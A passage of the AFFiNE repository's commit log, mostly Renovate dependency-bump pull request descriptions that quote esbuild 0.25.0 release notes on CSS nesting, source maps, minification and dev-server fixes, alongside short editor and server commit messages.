    Thanks to [@&#8203;sapphi-red](https://redirect.github.com/sapphi-red) for reporting this issue.

-   Delete output files when a build fails in watch mode ([#&#8203;3643](https://redirect.github.com/evanw/esbuild/issues/3643))

    It has been requested for esbuild to delete files when a build fails in watch mode. Previously esbuild left the old files in place, which could cause people to not immediately realize that the most recent build failed. With this release, esbuild will now delete all output files if a rebuild fails. Fixing the build error and triggering another rebuild will restore all output files again.

-   Fix correctness issues with the CSS nesting transform ([#&#8203;3620](https://redirect.github.com/evanw/esbuild/issues/3620), [#&#8203;3877](https://redirect.github.com/evanw/esbuild/issues/3877), [#&#8203;3933](https://redirect.github.com/evanw/esbuild/issues/3933), [#&#8203;3997](https://redirect.github.com/evanw/esbuild/issues/3997), [#&#8203;4005](https://redirect.github.com/evanw/esbuild/issues/4005), [#&#8203;4037](https://redirect.github.com/evanw/esbuild/pull/4037), [#&#8203;4038](https://redirect.github.com/evanw/esbuild/pull/4038))

    This release fixes the following problems:

    -   Naive expansion of CSS nesting can result in an exponential blow-up of generated CSS if each nesting level has multiple selectors. Previously esbuild sometimes collapsed individual nesting levels using `:is()` to limit expansion. However, this collapsing wasn't correct in some cases, so it has been removed to fix correctness issues.

        ```css
        /* Original code */
        .parent {
          > .a,
          > .b1 > .b2 {
            color: red;
          }
        }

        /* Old output (with --supported:nesting=false) */
        .parent > :is(.a, .b1 > .b2) {
          color: red;
        }

        /* New output (with --supported:nesting=false) */
        .parent > .a,
        .parent > .b1 > .b2 {
          color: red;
        }
        ```

        Thanks to [@&#8203;tim-we](https://redirect.github.com/tim-we) for working on a fix.

    -   The `&` CSS nesting selector can be repeated multiple times to increase CSS specificity. Previously esbuild ignored this possibility and incorrectly considered `&&` to have the same specificity as `&`. With this release, this should now work correctly:

        ```css
        /* Original code (color should be red) */
        div {
          && { color: red }
          & { color: blue }
        }

        /* Old output (with --supported:nesting=false) */
        div {
          color: red;
        }
        div {
          color: blue;
        }

        /* New output (with --supported:nesting=false) */
        div:is(div) {
          color: red;
        }
        div {
          color: blue;
        }
        ```

        Thanks to [@&#8203;CPunisher](https://redirect.github.com/CPunisher) for working on a fix.

    -   Previously transforming nested CSS incorrectly removed leading combinators from within pseudoclass selectors such as `:where()`. This edge case has been fixed and how has test coverage.

        ```css
        /* Original code */
        a b:has(> span) {
          a & {
            color: green;
          }
        }

        /* Old output (with --supported:nesting=false) */
        a :is(a b:has(span)) {
          color: green;
        }

        /* New output (with --supported:nesting=false) */
        a :is(a b:has(> span)) {
          color: green;
        }
        ```

        This fix was contributed by [@&#8203;NoremacNergfol](https://redirect.github.com/NoremacNergfol).

    -   The CSS minifier contains logic to remove the `&` selector when it can be implied, which happens when there is only one and it's the leading token. However, this logic was incorrectly also applied to selector lists inside of pseudo-class selectors such as `:where()`. With this release, the minifier will now avoid applying this logic in this edge case:

        ```css
        /* Original code */
        .a {
          & .b { color: red }
          :where(& .b) { color: blue }
        }

        /* Old output (with --minify) */
        .a{.b{color:red}:where(.b){color:#&#8203;00f}}

        /* New output (with --minify) */
        .a{.b{color:red}:where(& .b){color:#&#8203;00f}}
        ```

-   Fix some correctness issues with source maps ([#&#8203;1745](https://redirect.github.com/evanw/esbuild/issues/1745), [#&#8203;3183](https://redirect.github.com/evanw/esbuild/issues/3183), [#&#8203;3613](https://redirect.github.com/evanw/esbuild/issues/3613), [#&#8203;3982](https://redirect.github.com/evanw/esbuild/issues/3982))

    Previously esbuild incorrectly treated source map path references as file paths instead of as URLs. With this release, esbuild will now treat source map path references as URLs. This fixes the following problems with source maps:

    -   File names in `sourceMappingURL` that contained a space previously did not encode the space as `%20`, which resulted in JavaScript tools (including esbuild) failing to read that path back in when consuming the generated output file. This should now be fixed.

    -   Absolute URLs in `sourceMappingURL` that use the `file://` scheme previously attempted to read from a folder called `file:`. These URLs should now be recognized and parsed correctly.

    -   Entries in the `sources` array in the source map are now treated as URLs instead of file paths. The correct behavior for this is much more clear now that source maps has a [formal specification](https://tc39.es/ecma426/). Many thanks to those who worked on the specification.

-   Fix incorrect package for `@esbuild/netbsd-arm64` ([#&#8203;4018](https://redirect.github.com/evanw/esbuild/issues/4018))

    Due to a copy+paste typo, the binary published to `@esbuild/netbsd-arm64` was not actually for `arm64`, and didn't run in that environment. This release should fix running esbuild in that environment (NetBSD on 64-bit ARM). Sorry about the mistake.

-   Fix a minification bug with bitwise operators and bigints ([#&#8203;4065](https://redirect.github.com/evanw/esbuild/issues/4065))

    This change removes an incorrect assumption in esbuild that all bitwise operators result in a numeric integer. That assumption was correct up until the introduction of bigints in ES2020, but is no longer correct because almost all bitwise operators now operate on both numbers and bigints. Here's an example of the incorrect minification:

    ```js
    // Original code
    if ((a & b) !== 0) found = true

    // Old output (with --minify)
    a&b&&(found=!0);

    // New output (with --minify)
    (a&b)!==0&&(found=!0);
    ```

-   Fix esbuild incorrectly rejecting valid TypeScript edge case ([#&#8203;4027](https://redirect.github.com/evanw/esbuild/issues/4027))

    The following TypeScript code is valid:

    ```ts
    export function open(async?: boolean): void {
      console.log(async as boolean)
    }
    ```

    Before this version, esbuild would fail to parse this with a syntax error as it expected the token sequence `async as ...` to be the start of an async arrow function expression `async as => ...`. This edge case should be parsed correctly by esbuild starting with this release.

-   Transform BigInt values into constructor calls when unsupported ([#&#8203;4049](https://redirect.github.com/evanw/esbuild/issues/4049))

    Previously esbuild would refuse to compile the BigInt literals (such as `123n`) if they are unsupported in the configured target environment (such as with `--target=es6`). The rationale was that they cannot be polyfilled effectively because they change the behavior of JavaScript's arithmetic operators and JavaScript doesn't have operator overloading.

    However, this prevents using esbuild with certain libraries that would otherwise work if BigInt literals were ignored, such as with old versions of the [`buffer` library](https://redirect.github.com/feross/buffer) before the library fixed support for running in environments without BigInt support. So with this release, esbuild will now turn BigInt literals into BigInt constructor calls (so `123n` becomes `BigInt(123)`) and generate a warning in this case. You can turn off the warning with `--log-override:bigint=silent` or restore the warning to an error with `--log-override:bigint=error` if needed.

-   Change how `console` API dropping works ([#&#8203;4020](https://redirect.github.com/evanw/esbuild/issues/4020))

    Previously the `--drop:console` feature replaced all method calls off of the `console` global with `undefined` regardless of how long the property access chain was (so it applied to `console.log()` and `console.log.call(console)` and `console.log.not.a.method()`). However, it was pointed out that this breaks uses of `console.log.bind(console)`. That's also incompatible with Terser's implementation of the feature, which is where this feature originally came from (it does support `bind`). So with this release, using this feature with esbuild will now only replace one level of method call (unless extended by `call` or `apply`) and will replace the method being called with an empty function in complex cases:

    ```js
    // Original code
    const x = console.log('x')
    const y = console.log.call(console, 'y')
    const z = console.log.bind(console)('z')

    // Old output (with --drop-console)
    const x = void 0;
    const y = void 0;
    const z = (void 0)("z");

    // New output (with --drop-console)
    const x = void 0;
    const y = void 0;
    const z = (() => {
    }).bind(console)("z");
    ```

    This should more closely match Terser's existing behavior.

-   Allow BigInt literals as `define` values

    With this release, you can now use BigInt literals as define values, such as with `--define:FOO=123n`. Previously trying to do this resulted in a syntax error.

-   Fix a bug with resolve extensions in `node_modules` ([#&#8203;4053](https://redirect.github.com/evanw/esbuild/issues/4053))

    The `--resolve-extensions=` option lets you specify the order in which to try resolving implicit file extensions. For complicated reasons, esbuild reorders TypeScript file extensions after JavaScript ones inside of `node_modules` so that JavaScript source code is always preferred to TypeScript source code inside of dependencies. However, this reordering had a bug that could accidentally change the relative order of TypeScript file extensions if one of them was a prefix of the other. That bug has been fixed in this release. You can see the issue for details.

-   Better minification of statically-determined `switch` cases ([#&#8203;4028](https://redirect.github.com/evanw/esbuild/issues/4028))

    With this release, esbuild will now try to trim unused code within `switch` statements when the test expression and `case` expressions are primitive literals. This can arise when the test expression is an identifier that is substituted for a primitive literal at compile time. For example:

    ```js
    // Original code
    switch (MODE) {
      case 'dev':
        installDevToolsConsole()
        break
      case 'prod':
        return
      default:
        throw new Error
    }

    // Old output (with --minify '--define:MODE="prod"')
    switch("prod"){case"dev":installDevToolsConsole();break;case"prod":return;default:throw new Error}

    // New output (with --minify '--define:MODE="prod"')
    return;
    ```

-   Emit `/* @&#8203;__KEY__ */` for string literals derived from property names ([#&#8203;4034](https://redirect.github.com/evanw/esbuild/issues/4034))

    Property name mangling is an advanced feature that shortens certain property names for better minification (I say "advanced feature" because it's very easy to break your code with it). Sometimes you need to store a property name in a string, such as `obj.get('foo')` instead of `obj.foo`. JavaScript minifiers such as esbuild and [Terser](https://terser.org/) have a convention where a `/* @&#8203;__KEY__ */` comment before the string makes it behave like a property name. So `obj.get(/* @&#8203;__KEY__ */ 'foo')` allows the contents of the string `'foo'` to be shortened.

    However, esbuild sometimes itself generates string literals containing property names when transforming code, such as when lowering class fields to ES6 or when transforming TypeScript decorators. Previously esbuild didn't generate its own `/* @&#8203;__KEY__ */` comments in this case, which means that minifying your code by running esbuild again on its own output wouldn't work correctly (this does not affect people that both minify and transform their code in a single step).

    With this release, esbuild will now generate `/* @&#8203;__KEY__ */` comments for property names in generated string literals. To avoid lots of unnecessary output for people that don't use this advanced feature, the generated comments will only be present when the feature is active. If you want to generate the comments but not actually mangle any property names, you can use a flag that has no effect such as `--reserve-props=.`, which tells esbuild to not mangle any property names (but still activates this feature).

-   The `text` loader now strips the UTF-8 BOM if present ([#&#8203;3935](https://redirect.github.com/evanw/esbuild/issues/3935))

    Some software (such as Notepad on Windows) can create text files that start with the three bytes `0xEF 0xBB 0xBF`, which is referred to as the "byte order mark". This prefix is intended to be removed before using the text. Previously esbuild's `text` loader included this byte sequence in the string, which turns into a prefix of `\uFEFF` in a JavaScript string when decoded from UTF-8. With this release, esbuild's `text` loader will now remove these bytes when they occur at the start of the file.

-   Omit legal comment output files when empty ([#&#8203;3670](https://redirect.github.com/evanw/esbuild/issues/3670))

    Previously configuring esbuild with `--legal-comment=external` or `--legal-comment=linked` would always generate a `.LEGAL.txt` output file even if it was empty. Starting with this release, esbuild will now only do this if the file will be non-empty. This should result in a more organized output directory in some cases.

-   Update Go from 1.23.1 to 1.23.5 ([#&#8203;4056](https://redirect.github.com/evanw/esbuild/issues/4056), [#&#8203;4057](https://redirect.github.com/evanw/esbuild/pull/4057))

    This should have no effect on existing code as this version change does not change Go's operating system support. It may remove certain reports from vulnerability scanners that detect which version of the Go compiler esbuild uses.

    This PR was contributed by [@&#8203;MikeWillCook](https://redirect.github.com/MikeWillCook).

-   Allow passing a port of 0 to the development server ([#&#8203;3692](https://redirect.github.com/evanw/esbuild/issues/3692))

    Unix sockets interpret a port of 0 to mean "pick a random unused port in the [ephemeral port](https://en.wikipedia.org/wiki/Ephemeral_port) range". However, esbuild's default behavior when the port is not specified is to pick the first unused port starting from 8000 and upward. This is more convenient because port 8000 is typically free, so you can for example restart the development server and reload your app in the browser without needing to change the port in the URL. Since esbuild is written in Go (which does not have optional fields like JavaScript), not specifying the port in Go means it defaults to 0, so previously passing a port of 0 to esbuild caused port 8000 to be picked.

    Starting with this release, passing a port of 0 to esbuild when using the CLI or the JS API will now pass port 0 to the OS, which will pick a random ephemeral port. To make this possible, the `Port` option in the Go API has been changed from `uint16` to `int` (to allow for additional sentinel values) and passing a port of -1 in Go now picks a random port. Both the CLI and JS APIs now remap an explicitly-provided port of 0 into -1 for the internal Go API.

    Another option would have been to change `Port` in Go from `uint16` to `*uint16` (Go's closest equivalent of `number | undefined`). However, that would make the common case of providing an explicit port in Go very awkward as Go doesn't support taking the address of integer constants. This tradeoff isn't worth it as picking a random ephemeral port is a rare use case. So the CLI and JS APIs should now match standard Unix behavior when the port is 0, but you need to use -1 instead with Go API.

-   Minification now avoids inlining constants with direct `eval` ([#&#8203;4055](https://redirect.github.com/evanw/esbuild/issues/4055))

    Direct `eval` can be used to introduce a new variable like this:

    ```js
    const variable = false
    ;(function () {
      eval("var variable = true")
      console.log(variable)
    })()
    ```

    Previously esbuild inlined `variable` here (which became `false`), which changed the behavior of the code. This inlining is now avoided, but please keep in mind that direct `eval` breaks many assumptions that JavaScript tools hold about normal code (especially when bundling) and I do not recommend using it. There are usually better alternatives that have a more localized impact on your code. You can read more about this here: https://esbuild.github.io/link/direct-eval/

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNjQuMSIsInVwZGF0ZWRJblZlciI6IjM5LjE2NC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-11 04:09:28 +00:00
Table bird 589fc32746 build: fix install homebrew error of abort "Don't run this as root!" (#10076) 2025-02-11 12:08:56 +08:00
fengmk2 c8c7b7b65c feat(server): use x-cloud-trace-context instead of x-rpc-trace-id (#10068)
x-cloud-trace-context will be overwritten by lb,
and cannot be fake from internet access request

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/hTwOityLamd4hitrae7M/6d3c47c1-ac9e-4bc9-a7f1-2be8f56dbf69.png)
2025-02-11 03:50:23 +00:00
Yifeng Wang f7335d8cb6 refactor(editor): switch worker renderer debug ui to tweakpane (#10074) 2025-02-11 11:13:32 +08:00
pengx17 c5c59ba00a fix(core): adjust settings names (#10061)
fix AF-2190
2025-02-11 02:14:10 +00:00
fengmk2 7214ef9fbc fix(server): only handle doc.snapshot.updated event on renderer (#10062)
before

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/hTwOityLamd4hitrae7M/0345e2e0-85fb-45a2-a917-be0cb1731907.png)

after

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/hTwOityLamd4hitrae7M/fd49d1b4-2970-4b86-aca1-4c40da3d0988.png)
2025-02-11 00:18:08 +00:00
doodlewind 9bf1e38e94 chore(editor): simplify legacy playground build config (#10044)
This should allow for simpler migration of the `@blocksuite/playground` vite environment.
2025-02-10 23:38:40 +00:00
Saul-Mirone c6b8f2b584 refactor(editor): flat data for table block (#10010)
close: BS-2548
2025-02-10 19:09:33 +00:00
L-Sun a5f36eb1d8 refactor(editor): configurable page block title (#10063)
### What changes
- make page block title rendering configurable so that a journal title can be rendered by AFFiNE side.
- move page block render logic to a seperate component
2025-02-10 18:17:28 +00:00
pengx17 fd25cd875b feat: focus the create page item when query returns no result in at menu (#10060)
fix AF-2191
2025-02-10 15:51:56 +00:00
CatsJuice f774868f0e feat(core): make some tabs in sidebar persistent for all docs page (#10014)
close AF-2164

![CleanShot 2025-02-07 at 14.23.36.gif](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/LakojjjzZNf6ogjOVwKE/deb15a06-32e9-40bf-8a15-07a3c2fa8227.gif)
2025-02-10 14:58:27 +00:00
zzj3720 c78d6b81c6 feat(editor): table block supports drag-and-drop sorting (#10065)
close: BS-2477
2025-02-10 14:14:53 +00:00
renovate 964f2e1bfd chore: bump up nestjs (#10059)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@nestjs-cls/transactional](https://papooch.github.io/nestjs-cls/) ([source](https://redirect.github.com/Papooch/nestjs-cls)) | [`2.4.9` -> `2.4.10`](https://renovatebot.com/diffs/npm/@nestjs-cls%2ftransactional/2.4.9/2.4.10) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs-cls%2ftransactional/2.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs-cls%2ftransactional/2.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs-cls%2ftransactional/2.4.9/2.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs-cls%2ftransactional/2.4.9/2.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs-cls/transactional-adapter-prisma](https://papooch.github.io/nestjs-cls/) ([source](https://redirect.github.com/Papooch/nestjs-cls)) | [`1.2.12` -> `1.2.13`](https://renovatebot.com/diffs/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.12/1.2.13) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.12/1.2.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.12/1.2.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>Papooch/nestjs-cls (@&#8203;nestjs-cls/transactional)</summary>

### [`v2.4.10`](https://redirect.github.com/Papooch/nestjs-cls/releases/tag/%40nestjs-cls/transactional%402.4.10)

[Compare Source](https://redirect.github.com/Papooch/nestjs-cls/compare/@nestjs-cls/transactional@2.4.9...@nestjs-cls/transactional@2.4.10)

##### Dependencies

-   allow nestjs 10 as peer dependency ([b7057cb](https://redirect.github.com/Papooch/nestjs-cls/commits/b7057cb))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNjQuMSIsInVwZGF0ZWRJblZlciI6IjM5LjE2NC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-10 13:41:16 +00:00
renovate 08ecc54d67 chore: bump up all non-major dependencies (#10004)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.743.0` -> `3.744.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.743.0/3.744.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.744.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.744.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.743.0/3.744.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.743.0/3.744.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@capgo/inappbrowser](https://redirect.github.com/Cap-go/capacitor-inappbrowser) | [`7.1.6` -> `7.2.15`](https://renovatebot.com/diffs/npm/@capgo%2finappbrowser/7.1.6/7.2.15) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capgo%2finappbrowser/7.2.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capgo%2finappbrowser/7.2.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capgo%2finappbrowser/7.1.6/7.2.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capgo%2finappbrowser/7.1.6/7.2.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@eslint/js](https://eslint.org) ([source](https://redirect.github.com/eslint/eslint/tree/HEAD/packages/js)) | [`9.19.0` -> `9.20.0`](https://renovatebot.com/diffs/npm/@eslint%2fjs/9.19.0/9.20.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@eslint%2fjs/9.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@eslint%2fjs/9.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@eslint%2fjs/9.19.0/9.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@eslint%2fjs/9.19.0/9.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@swc/core](https://swc.rs) ([source](https://redirect.github.com/swc-project/swc)) | [`1.10.14` -> `1.10.15`](https://renovatebot.com/diffs/npm/@swc%2fcore/1.10.14/1.10.15) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@swc%2fcore/1.10.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@swc%2fcore/1.10.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@swc%2fcore/1.10.14/1.10.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@swc%2fcore/1.10.14/1.10.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@tailwindcss/postcss](https://tailwindcss.com) ([source](https://redirect.github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss)) | [`4.0.4` -> `4.0.5`](https://renovatebot.com/diffs/npm/@tailwindcss%2fpostcss/4.0.4/4.0.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@tailwindcss%2fpostcss/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@tailwindcss%2fpostcss/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@tailwindcss%2fpostcss/4.0.4/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@tailwindcss%2fpostcss/4.0.4/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@vitejs/plugin-react-swc](https://redirect.github.com/vitejs/vite-plugin-react-swc) | [`3.7.2` -> `3.8.0`](https://renovatebot.com/diffs/npm/@vitejs%2fplugin-react-swc/3.7.2/3.8.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitejs%2fplugin-react-swc/3.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitejs%2fplugin-react-swc/3.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitejs%2fplugin-react-swc/3.7.2/3.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitejs%2fplugin-react-swc/3.7.2/3.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [esbuild](https://redirect.github.com/evanw/esbuild) | [`^0.24.0` -> `^0.25.0`](https://renovatebot.com/diffs/npm/esbuild/0.24.2/0.25.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/esbuild/0.25.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/esbuild/0.25.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/esbuild/0.24.2/0.25.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/esbuild/0.24.2/0.25.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) | [`17.0.0` -> `17.0.2`](https://renovatebot.com/diffs/npm/happy-dom/17.0.0/17.0.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/17.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/happy-dom/17.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/happy-dom/17.0.0/17.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/17.0.0/17.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [ioredis](https://redirect.github.com/luin/ioredis) | [`5.4.2` -> `5.5.0`](https://renovatebot.com/diffs/npm/ioredis/5.4.2/5.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/ioredis/5.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/ioredis/5.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/ioredis/5.4.2/5.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/ioredis/5.4.2/5.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [link-preview-js](https://redirect.github.com/ospfranco/link-preview-js) | [`3.0.13` -> `3.0.14`](https://renovatebot.com/diffs/npm/link-preview-js/3.0.13/3.0.14) | [![age](https://developer.mend.io/api/mc/badges/age/npm/link-preview-js/3.0.14?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/link-preview-js/3.0.14?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/link-preview-js/3.0.13/3.0.14?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/link-preview-js/3.0.13/3.0.14?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [lucide-react](https://lucide.dev) ([source](https://redirect.github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react)) | [`^0.474.0` -> `^0.475.0`](https://renovatebot.com/diffs/npm/lucide-react/0.474.0/0.475.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/lucide-react/0.475.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/lucide-react/0.475.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/lucide-react/0.474.0/0.475.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/lucide-react/0.474.0/0.475.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [marked](https://marked.js.org) ([source](https://redirect.github.com/markedjs/marked)) | [`15.0.6` -> `15.0.7`](https://renovatebot.com/diffs/npm/marked/15.0.6/15.0.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/marked/15.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/marked/15.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/marked/15.0.6/15.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/marked/15.0.6/15.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [nestjs-cls](https://papooch.github.io/nestjs-cls/) ([source](https://redirect.github.com/Papooch/nestjs-cls)) | [`5.0.1` -> `5.1.2`](https://renovatebot.com/diffs/npm/nestjs-cls/5.0.1/5.1.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/nestjs-cls/5.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/nestjs-cls/5.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/nestjs-cls/5.0.1/5.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nestjs-cls/5.0.1/5.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
